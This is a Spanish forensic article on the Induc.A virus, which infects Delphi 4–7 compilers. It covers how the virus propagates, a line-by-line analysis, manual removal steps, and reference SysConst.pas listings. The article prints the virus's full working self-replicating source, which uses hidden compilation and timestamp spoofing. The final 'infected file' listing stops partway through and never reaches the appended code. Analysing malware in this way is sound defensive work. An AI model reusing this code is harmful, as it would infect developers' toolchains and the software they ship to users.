Utilizamos cookies propias y de terceros. [Más información sobre las cookies].
Política de cookies
Proyecto AjpdSoft

· Inicio
· Buscar
· Contactar
· Cookies
· Descargas
· Foros
· Historia
· Nosotros
· Temas
· Top 10
· Trucos
· Tutoriales
· Wiki

Delphi: Análisis forense sobre el virus Induc.A que infecta Delphi
Virus informáticos


Realizamos un análisis forense a fondo sobre el virus Induc.A. Os comentamos el comportamiento del virus Induc.A que afecta e infecta al lenguaje de programación Borland Delphi 4, 5, 6 y 7, por lo que cualquier programa compilado con estas versiones de Delphi infectadas quedará infectado con el virus Induc.A. Mostramos el source code de este virus, así como su curioso método de propagación. Explicamos cómo eliminarlo de nuestro equipo y cómo evitar que vuelva a infectarse.



 

El virus Induc.A

El virus Induc.A, conocido como W32/Induc-A es digno de mención sobre todo por su método de propagación, tal vez sea el primero (no es seguro) que utiliza este "novedoso" método de propagación. En realidad lo que hace es "infectar" el lenguaje de programación Borland Delphi, por lo que si somos desarrolladores de software y tenemos Delphi instalado, lo infectará para que todas las aplicaciones que desarrollemos con Delphi queden infectadas con Induc.A. Este virus, al menos la variante existente a fecha de hoy, 10 de agosto de 2010 no es dañino pues lo único que hace es infectar Delphi si lo tenemos instalado, sino no hará nada en el equipo.

Aunque no es dañino ni peligroso de cara al usuario final, el hecho de que el antivirus de los clientes o usuarios de nuestras aplicaciones detecte el virus en uno de nuestros ejecutables, afectará a la imagen de la empresa, por lo que sí es peligroso de cara a la conciencia social. Un usuario o cliente podría pensar que le estamos pasando una aplicación, por la que ha pagado, infectada con un virus, con las consecuencias negativas para nuestra empresa.

Hemos decidido realizar este artículo sobre el virus Induc.A porque es muy probable que se trate de una prueba o test de capacidad de infección, pues si funciona correctamente e infecta bastantes ejecutables a nivel mundial, posiblemente se convierta en una nueva forma de propagación de los virus, mediante lenguajes de programación y, muy posiblemente, serán usados en otros lenguajes de programación. Por supuesto, es muy probable también que empiecen a salir nuevas variantes más dañinas y peligrosas de cara al usuario que sí realicen acciones malintencionadas típicas del malware, spyware, virus y demás.

 

Cómo se propaga e infecta el equipo el virus Win32/Induc.A

Vamos a explicar a continuación el método de propagación e infección tan curioso y específico (sólo para desarrolladores de Borland Delphi del 4 al 7) de este virus. Una vez que ejecutemos una aplicación infectada con el virus Induc.A y no tengamos antivirus o bien no lo detecte correctamente, el virus se activará y realizará las siguientes acciones en nuestro equipo:

1. En primer lugar buscará si Borland Delphi está instalado en el equipo, en concreto buscará las versiones de Delphi de la 4 a la 7, para ello lee la clave del registro de configuraciones "Software\Borland\Delphi\", si existe esta clave de registro, leerá el valor de cadena RootDir que contiene la carpeta de instalación de Delphi.

2. Editará el fichero sysconst.pas en la carpeta de instalación de Delphi obtenida anteriormente, en ...Source\Rtl\Sys, y añadirá su código vírico. De esta forma el fichero sysconst.pas quedará infectado con el código del virus.

3. Hasta aquí no pasaría nada, pues si bien quedaría infectado el fichero sysconst.pas, no queda infectado el fichero compilado sysconst.dcu, que es el que usa Delphi y agrega a las aplicaciones compiladas.

4. El virus Induc.A hará una copia del fichero original sysconst.dcu llamándolo sysconst.bak.

5. Para que las aplicaciones compiladas con Delphi queden infectadas, el virus compilará el fichero sysconst.pas infectado para generar el fichero sysconst.dcu compilado e infectado.

6. De esta forma, cada vez que el desarrollador de software realice una aplicación, ésta quedará infectada con el virus.

7. Cuando el desarrollador publique la aplicación y el usuario la ejecute, si tiene Delphi instalado volverá a infectarlo y sino no hará ningún efecto. Aunque, como hemos dicho, si el usuario tiene un antivirus, lo normal es que detecte la aplicación como un virus llamado Win32/Induc.A.

 

Cómo funciona el virus Induc.A técnicamente

Aquí se puede ver el código fuente (source code) de este virus, a continuación explicamos paso a paso lo que va haciendo y las líneas de código más interesantes:

1. En primer lugar comprueba si existe el fichero:

C:\Program Files (x86)\Borland\Delphi6\Lib\sysconst.bak

Si existe ya es porque, en teoría, el virus ya se ha ejecutado, por lo que no volverá a hacerlo. Para ello usa este código:

  h := CreateFile(pchar(d + 'bak'), 0, 0, 0, 3, 0, 0);
  if h <> DWORD(-1) then
  begin CloseHandle(h);
    exit;
  end;

Sería más lógico usar la función "FileExists", pero esta función requiere de la unidad "SysUtils", el desarrollador el virus debió considerar usar las menos unidades posibles, para no incrementar demasiado el fichero compilado ejecutable resultante.

2. A continuación cargará el siguiente fichero en memoria:

C:\Program Files (x86)\Borland\Delphi6\source\rtl\sys\SysConst.pas

Si no existe abortará la ejecución del código del virus, si existe continuará:

  assignfile(f1, s);
  reset(f1);
  if ioresult <> 0 then
    exit; 

3. A continuación irá leyendo línea a línea el fichero anterior y copiando cada línea en el nuevo fichero que creará en:

C:\Program Files (x86)\Borland\Delphi6\Lib\sysconst.pas

hasta llegar a "implementation" (incluida esta línea):

  while not eof(f1) do
  begin readln(f1, s);
    writeln(f2, s);
    if pos('implementation', s) <> 0 then
      break;
  end;   
 

4. Ahora, haciendo uso del array de string declarado al principio, sc, añadirá al fichero:

C:\Program Files (x86)\Borland\Delphi6\Lib\sysconst.pas

Los 24 elementos del array, correspondientes al código del virus en pascal:

  for h := 1 to 1 do
    writeln(f2, sc[h]);
  for h := 1 to 23 do writeln(f2, '''' + sc[h], ''',');
  writeln(f2, '''' + sc[24] + ''');');
  for h := 2 to 24 do writeln(f2, x(sc[h]));
 

5. Cambiará el nombre al fichero:

C:\Program Files (x86)\Borland\Delphi6\Lib\sysconst.dcu

Por

C:\Program Files (x86)\Borland\Delphi6\Lib\sysconst.bak

Con la línea:

MoveFile(pchar(d + 'dcu'), pchar(d + 'bak'));

6. A continuación ejecuta un proceso oculto para compilar el fichero sysconst.pas modificado por el virus y generar el fichero sysconst.dcu infectado, que será el usado por todas las aplicaciones compiladas con Delphi. Para ello utiliza las siguientes líneas de código, ejecutando el compilador dcc32.exe que incluye Delphi en su carpeta "bin":

  fillchar(f, sizeof(f), 0);
  f.cb := sizeof(f);
  f.dwFlags := STARTF_USESHOWWINDOW;
  f.wShowWindow := SW_HIDE;
  b := CreateProcess(nil, pchar(e + '"' + d + 'pas"'), 0, 0, false, 0, 0, 0, f, p);
  if b then
    WaitForSingleObject(p.hProcess, INFINITE);

 

7. Ahora renombra el fichero:

C:\Program Files (x86)\Borland\Delphi6\Lib\sysconst.bak

por

C:\Program Files (x86)\Borland\Delphi6\Lib\sysconst.dcu

con la línea de código:

MoveFile(pchar(d + 'bak'), pchar(d + 'dcu')); 

8. Elimina el fichero:

C:\Program Files (x86)\Borland\Delphi6\Lib\sysconst.pas

con la línea de código:

DeleteFile(pchar(d + 'pas'));

9. Obtiene ahora la fecha y hora de creación, modificación y último acceso al fichero:

C:\Program Files (x86)\Borland\Delphi6\Lib\sysconst.bak

Con la línea de código:

  GetFileTime(h, @t1, @t2, @t3);

 

10. Por último, para que no haya sospechas por parte del usuario, cambia las fechas de creación, modificación y último acceso al fichero infectado:

C:\Program Files (x86)\Borland\Delphi6\Lib\sysconst.dcu

Por las obtenidas en el paso 9 del fichero sysconst.bak (anterior fichero sysconst.dcu antes de la infección), con la línea de código:

SetFileTime(h, @t1, @t2, @t3);

De esta forma, el virus queda en el fichero compilado sysconst.dcu y se propagará e infectará este fichero en todos los equipos donde se ejecute una aplicación compilada con el Delphi infectado. Por supuesto, como se ha explicado, este virus no produce ni realiza acciones malintencionadas, sólamente se propaga en equipos con Delphi instalado.

Como se ha demostrado, no es un código excesivamente brillante, es fácil de entender y casi sencillo de desarrollar por cualquier usuario con conocimientos de programación medios-avanzados. Lo curioso, novedoso y a destacar de este virus (virus porque se propaga, pero no dañino) es su método de propagación: sencillo y muy eficaz, a la vez que difícil de detectar si no se conoce. De hecho, la gran parte de los antivirus analizados para la detección y eliminación de este virus en nuestro laboratorio, NO eliminan el virus del fichero sysconst.dcu, sólo eliminan el virus de los ficheros compilados con Delphi e infectados de las aplicaciones desarrolladas, que ni siquiera eliminan el virus sino el fichero ejecutable completo. Pues este virus, al integrarse en el ejecutable completamente por el compilador de Delphi, no es posible eliminarlo sin que el ejecutable quede corrompido, por lo que la única solución para su desinfección es eliminar el fichero ejecutable compilado con el virus y volver a compilarlo con Delphi limpio de este virus.

 

Como eliminar o limpiar el virus Induc.A de un equipo infectado

Una vez explicado cómo funciona y cómo se propaga el virus Induc.A, eliminarlo manualmente de Delphi infectado es relativamente sencillo, existen varias posibilidades:

1. Eliminar todos los ficheros sysconst.pas y sysconst.pas de nuestro Delphi y crear únicamente el fichero sysconst.pas con el este contenido (original) o copiando y pegando este fichero de un Delphi no infectado. Crearemos este fichero sysconst.pas en la carpeta:

C:\Program Files (x86)\Borland\Delphi6\Lib

2. Volver a compilar todas nuestras aplicaciones desarrolladas con Delphi. Será el propio Delphi quien, en la primera compilación de la primera aplicación, compilará también el fichero sysconst.pas de la carpeta anterior, generando el sysconst.dcu limpio de virus.

3. Es importante analizar todo nuestro equipo con uno o varios antivirus, para evitar que nos haya quedado algún fichero ejecutable de alguna de nuestras aplicaciones sin volver a compilar tras la limpieza.

4. A partir de ahora, para evitar posibles infecciones de este virus o alguna variante más dañina, es recomendable tener un antivirus siempre actualizado y con el residente activo en memoria.

 

Código fuente Source Code en Delphi añadido por el virus Induc.A a sysconst.dcu

A continuación mostramos, sólo a título informativo (no debe usarse con otros fines) el código fuente o source code que añade el virus Induc.A al fichero sysconst.dcu de Delphi, al menos a fecha de hoy. En realidad el código en sí, como ya hemos dicho, no es dañino, pues lo único que hace es comprobar qué versión de Delphi tenemos instalada, modificar el fichero sysconst.pas añadiendo las líneas del array "sc" (el propio código del virus) y compilar sysconst.pas para generar sysconst.dcu ya infectado:


  uses windows;
  
  var sc: array[1..24] of string = (   
    'uses windows; var sc:array[1..24] of string=(',   
    'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',   
    '=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',   
    'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',   
    '?:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',   
    '(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',   
    '(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',   
    'not eof(f1) do begin readln(f1,s); writeln(f2,s);  if pos($implementation$,s)<>0',   
    'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',   
    ',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',   
    'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',   
    ')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',   
    'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',   
    'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',   
    'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',   
    '0,0);  if  h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',   
    'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',   
    '@t1,@t2,@t3); CloseHandle(h); end; procedure st; var  k:HKEY;c:array [1..255] of',   
    'char;  i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',   
    'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',   
    'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',   
    '1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',   
    '$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',   
    'begin st; end.');   
 
function x(s: string): string;   
var 
  i: integer;   
begin   
  for i := 1 to length(s) do 
    if s[i] = #36 then   
      s[i] := #39;   
  result := s;   
end;   
 
procedure re(s, d, e: string);   
var 
  f1, f2: textfile;   
  h: cardinal;   
  f: STARTUPINFO;   
  p: PROCESS_INFORMATION;   
  b: boolean;   
  t1, t2, t3: FILETIME;   
begin   
  h := CreateFile(pchar(d + 'bak'), 0, 0, 0, 3, 0, 0);   
  if h <> DWORD(-1) then   
  begin 
    CloseHandle(h);   
    exit;   
  end;   
{'I-}   
  assignfile(f1, s);   
  reset(f1);   
  if ioresult <> 0 then   
    exit;   
  assignfile(f2, d + 'pas');   
  rewrite(f2);   
  if ioresult <> 0 then   
  begin 
    closefile(f1);   
    exit;   
  end;   
  while not eof(f1) do   
  begin 
    readln(f1, s);   
    writeln(f2, s);   
    if pos('implementation', s) <> 0 then   
      break;   
  end;   
  for h := 1 to 1 do   
    writeln(f2, sc[h]);   
  for h := 1 to 23 do writeln(f2, '''' + sc[h], ''',');   
  writeln(f2, '''' + sc[24] + ''');');   
  for h := 2 to 24 do 
    writeln(f2, x(sc[h]));   
  closefile(f1);   
  closefile(f2);   
 {'I+}   
  MoveFile(pchar(d + 'dcu'), pchar(d + 'bak'));   
  fillchar(f, sizeof(f), 0);   
  f.cb := sizeof(f);   
  f.dwFlags := STARTF_USESHOWWINDOW;   
  f.wShowWindow := SW_HIDE;   
  b := CreateProcess(nil, pchar(e + '"' + d + 'pas"'), 0, 0, false, 0, 0, 0, f, p);   
  if b then   
    WaitForSingleObject(p.hProcess, INFINITE);   
  MoveFile(pchar(d + 'bak'), pchar(d + 'dcu'));   
  DeleteFile(pchar(d + 'pas'));   
  h := CreateFile(pchar(d + 'bak'), 0, 0, 0, 3, 0, 0);   
  if h = DWORD(-1) then   
    exit;   
  GetFileTime(h, @t1, @t2, @t3);   
  CloseHandle(h);   
  h := CreateFile(pchar(d + 'dcu'), 256, 0, 0, 3, 0, 0);   
  if h = DWORD(-1) then   
    exit;   
  SetFileTime(h, @t1, @t2, @t3);   
  CloseHandle(h);   
end;   
 
procedure st;   
var 
  k: HKEY; c: array[1..255] of char;   
  i: cardinal;   
  r: string;   
  v: char;   
begin   
  for v := '4' to '7' do   
    if RegOpenKeyEx(HKEY_LOCAL_MACHINE, pchar('Software\Borland\Delphi\' + v + '.0'), 0, KEY_READ, k) = 0 then   
    begin i := 255;   
      if RegQueryValueEx(k, 'RootDir', nil, @i, @c, @i) = 0 then   
      begin 
        r := '';   
        i := 1;   
        while c[i] <> #0 do   
        begin r := r + c[i];   
          inc(i);   
        end;   
        re(r + '\source\rtl\sys\SysConst' + '.pas', r + '\lib\sysconst.', '"' + r + '\bin\dcc32.exe"');   
      end;   
      RegCloseKey(k);   
    end;   
end; 

begin
  st;
end.
 

Contenido del fichero SysConst.pas original de Delphi 6 (sin infectar)

El fichero original de Borland Delphi 6 "SysConst.pas", ubicado en:

C:\Archivos de programa\Borland\Delphi6\Source\Rtl\Sys

Es el siguiente:

{ *********************************************************************** }
{                                                                         }
{ Delphi / Kylix Cross-Platform Runtime Library                           }
{                                                                         }
{ Copyright (c) 1995, 2001 Borland Software Corporation                   }
{                                                                         }
{ *********************************************************************** }

unit SysConst;                                   

interface

resourcestring
  SUnknown = '';
  SInvalidInteger = '''%s'' is not a valid integer value';
  SInvalidFloat = '''%s'' is not a valid floating point value';
  SInvalidCurrency = '''%s'' is not a valid currency value';
  SInvalidDate = '''%s'' is not a valid date';
  SInvalidTime = '''%s'' is not a valid time';
  SInvalidDateTime = '''%s'' is not a valid date and time';
  SInvalidDateTimeFloat = '''%g'' is not a valid date and time';
  SInvalidTimeStamp = '''%d.%d'' is not a valid timestamp';
  SInvalidGUID = '''%s'' is not a valid GUID value';
  SInvalidBoolean = '''%s'' is not a valid boolean value';
  STimeEncodeError = 'Invalid argument to time encode';
  SDateEncodeError = 'Invalid argument to date encode';
  SOutOfMemory = 'Out of memory';
  SInOutError = 'I/O error %d';
  SFileNotFound = 'File not found';
  SInvalidFilename = 'Invalid filename';
  STooManyOpenFiles = 'Too many open files';
  SAccessDenied = 'File access denied';
  SEndOfFile = 'Read beyond end of file';
  SDiskFull = 'Disk full';
  SInvalidInput = 'Invalid numeric input';
  SDivByZero = 'Division by zero';
  SRangeError = 'Range check error';
  SIntOverflow = 'Integer overflow';
  SInvalidOp = 'Invalid floating point operation';
  SZeroDivide = 'Floating point division by zero';
  SOverflow = 'Floating point overflow';
  SUnderflow = 'Floating point underflow';
  SInvalidPointer = 'Invalid pointer operation';
  SInvalidCast = 'Invalid class typecast';
{$IFDEF MSWINDOWS}
  SAccessViolation = 'Access violation at address %p. %s of address %p';
{$ENDIF}
{$IFDEF LINUX}
  SAccessViolation = 'Access violation at address %p, accessing address %p';
{$ENDIF}
  SStackOverflow = 'Stack overflow';
  SControlC = 'Control-C hit';
  SQuit = 'Quit key hit';
  SPrivilege = 'Privileged instruction';
  SOperationAborted = 'Operation aborted';
  SException = 'Exception %s in module %s at %p.' + sLineBreak + '%s%s' + sLineBreak;
  SExceptTitle = 'Application Error';
{$IFDEF LINUX}
  SSigactionFailed = 'sigaction call failed';
{$ENDIF}
  SInvalidFormat = 'Format ''%s'' invalid or incompatible with argument';
  SArgumentMissing = 'No argument for format ''%s''';
  SDispatchError = 'Variant method calls not supported';
  SReadAccess = 'Read';
  SWriteAccess = 'Write';
  SResultTooLong = 'Format result longer than 4096 characters';
  SFormatTooLong = 'Format string too long';

  SVarArrayCreate = 'Error creating variant array';
  SVarArrayBounds = 'Variant array index out of bounds';
  SVarArrayLocked = 'Variant array is locked';

  SInvalidVarCast = 'Invalid variant type conversion';
  SInvalidVarOp = 'Invalid variant operation';
  SInvalidVarOpWithHResult = 'Invalid variant operation ($%.8x)';

  SVarNotArray = 'Variant is not an array' deprecated; // use SVarInvalid
  SVarTypeUnknown = 'Unknown custom variant type (%.4x)' deprecated; // not used anymore

  SVarTypeOutOfRange = 'Custom variant type (%.4x) is out of range';
  SVarTypeAlreadyUsed = 'Custom variant type (%.4x) already used by %s';
  SVarTypeNotUsable = 'Custom variant type (%.4x) is not usable';
  SVarTypeTooManyCustom = 'Too many custom variant types have been registered';
  SVarTypeRangeCheck1 = 'Range check error for variant of type (%s)';
  SVarTypeRangeCheck2 = 'Range check error while converting variant of type (%s) into type (%s)';
  SInvalidVarNullOp = 'Invalid NULL variant operation';

  SVarTypeCouldNotConvert = 'Could not convert variant of type (%s) into type (%s)';
  SVarTypeConvertOverflow = 'Overflow while converting variant of type (%s) into type (%s)';
  SVarOverflow = 'Variant overflow';
  SVarInvalid = 'Invalid argument';
  SVarBadType = 'Invalid variant type';
  SVarNotImplemented = 'Operation not supported';
  SVarOutOfMemory = 'Variant operation ran out memory';
  SVarUnexpected = 'Unexpected variant error';

  SVarDataClearRecursing = 'Recursion while doing a VarDataClear';
  SVarDataCopyRecursing = 'Recursion while doing a VarDataCopy';
  SVarDataCopyNoIndRecursing = 'Recursion while doing a VarDataCopyNoInd';
  SVarDataInitRecursing = 'Recursion while doing a VarDataInit';
  SVarDataCastToRecursing = 'Recursion while doing a VarDataCastTo';
  SVarIsEmpty = 'Variant is empty';
  sUnknownFromType = 'Cannot convert from the specified type';
  sUnknownToType = 'Cannot convert to the specified type';
  SExternalException = 'External exception %x';
  SAssertionFailed = 'Assertion failed';
  SIntfCastError = 'Interface not supported';
  SSafecallException = 'Exception in safecall method';
  SAssertError = '%s (%s, line %d)';
  SAbstractError = 'Abstract Error';
  SModuleAccessViolation = 'Access violation at address %p in module ''%s''. %s of address %p';
  SCannotReadPackageInfo = 'Cannot access package information for package ''%s''';
  sErrorLoadingPackage = 'Can''t load package %s.'+sLineBreak+'%s';
  SInvalidPackageFile = 'Invalid package file ''%s''';
  SInvalidPackageHandle = 'Invalid package handle';
  SDuplicatePackageUnit = 'Cannot load package ''%s.''  It contains unit ''%s,''' +
    'which is also contained in package ''%s''';
  SOSError = 'System Error.  Code: %d.'+sLineBreak+'%s';
  SUnkOSError = 'A call to an OS function failed';
{$IFDEF MSWINDOWS}
  SWin32Error = 'Win32 Error.  Code: %d.'#10'%s' deprecated; // use SOSError
  SUnkWin32Error = 'A Win32 API function failed' deprecated; // use SUnkOSError
{$ENDIF}
  SNL = 'Application is not licensed to use this feature';

  SConvIncompatibleTypes2 = 'Incompatible conversion types [%s, %s]';
  SConvIncompatibleTypes3 = 'Incompatible conversion types [%s, %s, %s]';
  SConvIncompatibleTypes4 = 'Incompatible conversion types [%s - %s, %s - %s]';
  SConvUnknownType = 'Unknown conversion type %s';
  SConvDuplicateType = 'Conversion type (%s) already registered';
  SConvUnknownFamily = 'Unknown conversion family %s';
  SConvDuplicateFamily = 'Conversion family (%s) already registered';
  SConvUnknownDescription = '[%.8x]';
  SConvIllegalType = 'Illegal type';
  SConvIllegalFamily = 'Illegal family';
  SConvFactorZero = '%s has a factor of zero';

  SShortMonthNameJan = 'Jan';
  SShortMonthNameFeb = 'Feb';
  SShortMonthNameMar = 'Mar';
  SShortMonthNameApr = 'Apr';
  SShortMonthNameMay = 'May';
  SShortMonthNameJun = 'Jun';
  SShortMonthNameJul = 'Jul';
  SShortMonthNameAug = 'Aug';
  SShortMonthNameSep = 'Sep';
  SShortMonthNameOct = 'Oct';
  SShortMonthNameNov = 'Nov';
  SShortMonthNameDec = 'Dec';

  SLongMonthNameJan = 'January';
  SLongMonthNameFeb = 'February';
  SLongMonthNameMar = 'March';
  SLongMonthNameApr = 'April';
  SLongMonthNameMay = 'May';
  SLongMonthNameJun = 'June';
  SLongMonthNameJul = 'July';
  SLongMonthNameAug = 'August';
  SLongMonthNameSep = 'September';
  SLongMonthNameOct = 'October';
  SLongMonthNameNov = 'November';
  SLongMonthNameDec = 'December';

  SShortDayNameSun = 'Sun';
  SShortDayNameMon = 'Mon';
  SShortDayNameTue = 'Tue';
  SShortDayNameWed = 'Wed';
  SShortDayNameThu = 'Thu';
  SShortDayNameFri = 'Fri';
  SShortDayNameSat = 'Sat';

  SLongDayNameSun = 'Sunday';
  SLongDayNameMon = 'Monday';
  SLongDayNameTue = 'Tuesday';
  SLongDayNameWed = 'Wednesday';
  SLongDayNameThu = 'Thursday';
  SLongDayNameFri = 'Friday';
  SLongDayNameSat = 'Saturday';

{$IFDEF LINUX}
  SEraEntries = '';
{$ENDIF}

  SCannotCreateDir = 'Unable to create directory';

implementation

end.
 

Contenido del fichero SysConst.pas infectado con Induc.A de Delphi 6

A continuación os mostramos cómo deja el virus Induc.A el fichero SysConst.pas una vez infectado, lo único que hace, con respecto al original, es añadir, a partir de "implementantion" (como se puede ver en el código fuente del virus) el siguiente código:


{ *********************************************************************** }
{                                                                         }
{ Delphi / Kylix Cross-Platform Runtime Library                           }
{                                                                         }
{ Copyright (c) 1995, 2001 Borland Software Corporation                   }
{                                                                         }
{ *********************************************************************** }

unit SysConst;                                   

interface

resourcestring
  SUnknown = '';
  SInvalidInteger = '''%s'' is not a valid integer value';
  SInvalidFloat = '''%s'' is not a valid floating point value';
  SInvalidCurrency = '''%s'' is not a valid currency value';
  SInvalidDate = '''%s'' is not a valid date';
  SInvalidTime = '''%s'' is not a valid time';
  SInvalidDateTime = '''%s'' is not a valid date and time';
  SInvalidDateTimeFloat = '''%g'' is not a valid date and time';
  SInvalidTimeStamp = '''%d.%d'' is not a valid timestamp';
  SInvalidGUID = '''%s'' is not a valid GUID value';
  SInvalidBoolean = '''%s'' is not a valid boolean value';
  STimeEncodeError = 'Invalid argument to time encode';
  SDateEncodeError = 'Invalid argument to date encode';
  SOutOfMemory = 'Out of memory';
  SInOutError = 'I/O error %d';
  SFileNotFound = 'File not found';
  SInvalidFilename = 'Invalid filename';
  STooManyOpenFiles = 'Too many open files';
  SAccessDenied = 'File access denied';
  SEndOfFile = 'Read beyond end of file';
  SDiskFull = 'Disk full';
  SInvalidInput = 'Invalid numeric input';
  SDivByZero = 'Division by zero';
  SRangeError = 'Range check error';
  SIntOverflow = 'Integer overflow';
  SInvalidOp = 'Invalid floating point operation';
  SZeroDivide = 'Floating point division by zero';
  SOverflow = 'Floating point overflow';
  SUnderflow = 'Floating point underflow';
  SInvalidPointer = 'Invalid pointer operation';
  SInvalidCast = 'Invalid class typecast';
{$IFDEF MSWINDOWS}
  SAccessViolation = 'Access violation at address %p. %s of address %p';
{$ENDIF}
{$IFDEF LINUX}
  SAccessViolation = 'Access violation at address %p, accessing address %p';
{$ENDIF}
  SStackOverflow = 'Stack overflow';
  SControlC = 'Control-C hit';
  SQuit = 'Quit key hit';
  SPrivilege = 'Privileged instruction';
  SOperationAborted = 'Operation aborted';
  SException = 'Exception %s in module %s at %p.' + sLineBreak + '%s%s' + sLineBreak;
  SExceptTitle = 'Application Error';
{$IFDEF LINUX}
  SSigactionFailed = 'sigaction call failed';
{$ENDIF}
  SInvalidFormat = 'Format ''%s'' invalid or incompatible with argument';
  SArgumentMissing = 'No argument for format ''%s''';
  SDispatchError = 'Variant method calls not supported';
  SReadAccess = 'Read';
  SWriteAccess = 'Write';
  SResultTooLong = 'Format result longer than 4096 characters';
  SFormatTooLong = 'Format string too long';

  SVarArrayCreate = 'Error creating variant array';
  SVarArrayBounds = 'Variant array index out of bounds';
  SVarArrayLocked = 'Variant array is locked';

  SInvalidVarCast = 'Invalid variant type conversion';
  SInvalidVarOp = 'Invalid variant operation';
  SInvalidVarOpWithHResult = 'Invalid variant operation ($%.8x)';

  SVarNotArray = 'Variant is not an array' deprecated; // use SVarInvalid
  SVarTypeUnknown = 'Unknown custom variant type (%.4x)' deprecated; // not used anymore

  SVarTypeOutOfRange = 'Custom variant type (%.4x) is out of range';
  SVarTypeAlreadyUsed = 'Custom variant type (%.4x) already used by %s';
  SVarTypeNotUsable = 'Custom variant type (%.4x) is not usable';
  SVarTypeTooManyCustom = 'Too many custom variant types have been registered';
  SVarTypeRangeCheck1 = 'Range check error for variant of type (%s)';
  SVarTypeRangeCheck2 = 'Range check error while converting variant of type (%s) into type (%s)';
  SInvalidVarNullOp = 'Invalid NULL variant operation';

  SVarTypeCouldNotConvert = 'Could not convert variant of type (%s) into type (%s)';
  SVarTypeConvertOverflow = 'Overflow while converting variant of type (%s) into type (%s)';
  SVarOverflow = 'Variant overflow';
  SVarInvalid = 'Invalid argument';
  SVarBadType = 'Invalid variant type';
  SVarNotImplemented = 'Operation not supported';
  SVarOutOfMemory = 'Variant operation ran out memory';
  SVarUnexpected = 'Unexpected variant error';

  SVarDataClearRecursing = 'Recursion while doing a VarDataClear';
  SVarDataCopyRecursing = 'Recursion while doing a VarDataCopy';
  SVarDataCopyNoIndRecursing = 'Recursion while doing a VarDataCopyNoInd';
  SVarDataInitRecursing = 'Recursion while doing a VarDataInit';
  SVarDataCastToRecursing = 'Recursion while doing a VarDataCastTo';
  SVarIsEmpty = 'Variant is empty';
  sUnknownFromType = 'Cannot convert from the specified type';
  sUnknownToType = 'Cannot convert to the specified type';
  SExternalException = 'External exception %x';
  SAssertionFailed = 'Assertion failed';
  SIntfCastError = 'Interface not supported';
  SSafecallException = 'Exception in safecall method';
  SAssertError = '%s (%s, line %d)';
  SAbstractError = 'Abstract Error';
  SModuleAccessViolation = 'Access violation at address %p in module ''%s''. %s of address %p';
  SCannotReadPackageInfo = 'Cannot access package information for package ''%s''';
  sErrorLoadingPackage = 'Can''t load package %s.'+sLineBreak+'%s';
  SInvalidPackageFile = 'Invalid package file ''%s''';
  SInvalidPackageHandle = 'Invalid package handle';
  SDuplicatePackageUnit = 'Cannot load package ''%s.''  It contains unit ''%s,''' +
    'which is also contained in package ''%s''';
  SOSError = 'System Error.  Code: %d.'+sLineBreak+'%s';
  SUnkOSError = 'A call to an OS function failed';
{$IFDEF MSWINDOWS}
  SWin32Error = 'Win32 Error.  Code: %d.'#10'%s' deprecated; // use SOSError
  SUnkWin32Error = 'A Win32 API function failed' deprecated; // use SUnkOSError
{$ENDIF}
  SNL = 'Application is not licensed to use this feature';

  SConvIncompatibleTypes2 = 'Incompatible conversion types [%s, %s]';
  SConvIncompatibleTypes3 = 'Incompatible conversion types [%s, %s, %s]';
  SConvIncompatibleTypes4 = 'Incompatible conversion types [%s - %s, %s - %s]';
  SConvUnknownType = 'Unknown conversion type %s';
  SConvDuplicateType = 'Conversion type (%s) already registered';
  SConvUnknownFamily = 'Unknown conversion family %s';
  SConvDuplicateFamily = 'Conversion family (%s) already registered';
  SConvUnknownDescription = '[%.8x]';
  SConvIllegalType = 'Illegal type';
  SConvIllegalFamily = 'Illegal family';
  SConvFactorZero = '%s has a factor of zero';

  SShortMonthNameJan = 'Jan';
  SShortMonthNameFeb = 'Feb';
  SShortMonthNameMar = 'Mar';
  SShortMonthNameApr = 'Apr';
  SShortMonthNameMay = 'May';
  SShortMonthNameJun = 'Jun';
  SShortMonthNameJul = 'Jul';
  SShortMonthNameAug = 'Aug';
  SShortMonthNameSep = 'Sep';
  SShortMonthNameOct = 'Oct';
  SShortMonthNameNov = 'Nov';
  SShortMonthNameDec = 'Dec';

  SLongMonthNameJan = 'January';
  SLongMonthNameFeb = 'February';
  SLongMonthNameMar = 'March';
  SLongMonthNameApr = 'April';
  SLongMonthNameMay = 'May';
  SLongMonthNameJun = 'June';
  SLongMonthNameJul = 'July';
  SLongMonthNameAug = 'August';
  SLongMonthNameSep = 'September';
  SLongMonthNameOct = 'October';
  SLongMonthNameNov = 'November';
  SLongMonthNameDec = 'December';

  SShortDayNameSun = 'Sun';
  SShortDayNameMon = 'Mon';
  SShortDayNameTue = 'Tue';
  SShortDayNameWed = 'Wed';
